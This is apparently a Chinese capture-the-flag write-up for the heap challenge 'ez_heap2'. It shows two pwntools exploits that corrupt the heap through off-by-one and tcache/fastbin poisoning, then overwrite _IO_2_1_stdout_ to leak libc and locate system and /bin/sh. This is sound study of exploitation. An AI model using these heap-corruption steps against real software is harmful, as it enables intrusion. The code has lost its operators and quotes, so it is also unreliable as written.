修改_IO_2_1_stdout_的某些值来泄漏libc基地址
主要的原理可以去 https://blog.detectivelfy.top/2022/04/16/IO-FILE%E4%B9%8B%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/ 看我们只讲实操✍内容 这里有两个方法 我们使用楚慧杯2024的ez_heap2作为例题重要的代码审计很清楚没有show函数看的开了pie保护所以我们在gift的时候可以选择是泄漏heap_base还是pie_base根据elf文件里面的stdout符号地址来修改_IO_2_1_stdout这个方法由于上面题目的情况我们需要pie的基地址如果没开pie的话就不需要但是堆题目嘛一般都是保护全开ok泄漏pie基地址的话没什么好说的我们来说接下来怎么做先找到elf中stdout的符号地址当程序运行的时候是这样的关系stdout调用的时候我们链是stdout----IO_2_1_stdout----IO_2_1_stdout的内容,具体你可以看下图。所以我们用teach 或者fastbins attack申请到 IO_2_1_stdout或者它的附近就能修改它结构体里面的值了def dfun(): add(0,0x18) add(1,0x68) add(2,0x68) add(3,0x18) io.sendline(4) # 执行gift函数获得pie地址 io.sendlineafter(bchoose:\n,4) adderint(io.recvuntil(b\n,dropTrue),16) pieadder-0x202160 print(0x%x%pie) stdoutpie0x202020 # 获得stdout的地址 print(0x%x%stdout) edit(0,ba*0x18b\xe1) # off_by_one中 delete(2) delete(1) add(1,0xd8) # 修改还在teach的chunk2的fd为stdout并修复其size edit(1,b\x00*0x68p64(0x71)p64(stdout)) add(2,0x68) # 申请原理chunk2 add(4,0x68) # 申请user adder为stdout的chunk add(5,0x68) # 申请到_IO_2_1_stdout的地址 edit(5,p64(0xfbad1800) p64(0)*3 b\x00) # 修改flags_为0xfbad1800 _IO_write_base为\x00 io.recvuntil(b\x00*8) libc_adderu64(io.recv(6).ljust(8,b\x00)) print(0x%x%libc_adder) # libc_adderu64(io.recvuntil(b\x7f)[-6:].ljust(8,b\x00)) # 一般用这个好好看一下 # print(0x%x%libc_adder) libc_baselibc_adder-0x3ed8b0 systeam_adderlibc_baselibc.symbols[system] bin_sh libc_base next(libc.search(b/bin/sh)) io.interactive()libcheap偏移是用gdb自己找的但是注意了这样的话teach或者fastbins这个大小的链就用不了了直接修改难点在爆破上但是利用的条件较上一个少一些这个唯一不一样的是我们不用stdout了我们直接在_IO_2_1_stdout那寻找合数的位置伪造chunk那问题是我们怎么写到哪个地方呢 很巧的是unsorted bins的fdbk指针和_IO_2_1_stdout那块的地址只有两个字节不一样而LFSAR的随机化机制然地址最后三位不变那么我们可以用gdb找着三位剩下半个字节直接爆破就行了我们只用申请到这个伪造chunk的地址就行就是把最后两位改成c71d然后爆破就行了再修改成特顶的值就好了add(0,0x18) add(1,0x408) # 严肃申请unsorted bins add(2,0x68) add(3,0x68) menu(4) io.sendlineafter(bchoose:,b1) io.recvuntil(b\n) heap_adderint(io.recvuntil(b1.add,dropTrue),16) print(heap_adder : 0x%x%heap_adder) heap_baseheap_adder- 0x770 print(heap_base : 0x%x%heap_base) /////////////////////////////////////////////////开始攻击/////////////////////////////////////////////////////////////// edit(0,ba*0x18b\xf1) delete(2) delete(3) delete(1) add(1,0x408) add(5,0xc8) edit(5,b\x2d\xc7) # 修改fd中因为teach的fd指向user直接写你想改的地址就好了不用加0x10 edit(1,ba*0x408b\x71) # 大小改回来 add(2,0x68) add(3,0x68) #gdb.attach(io) add(6,0x68) # 申请到 #gdb.attach(io) edit(6,b\x00 * (0x33) p64( 0xfbad1800 )p64( 0 )* 3 b\x00) # 开始修改 #gdb.attach(io) io.recvuntil(b\x00*8) libc_adderu64(io.recv(6).ljust(8,b\x00)) print(0x%x%libc_adder) libc_baselibc_adder-0x3ed8b0 print(libc_base : 0x%x%libc_base) libc.addresslibc_base成功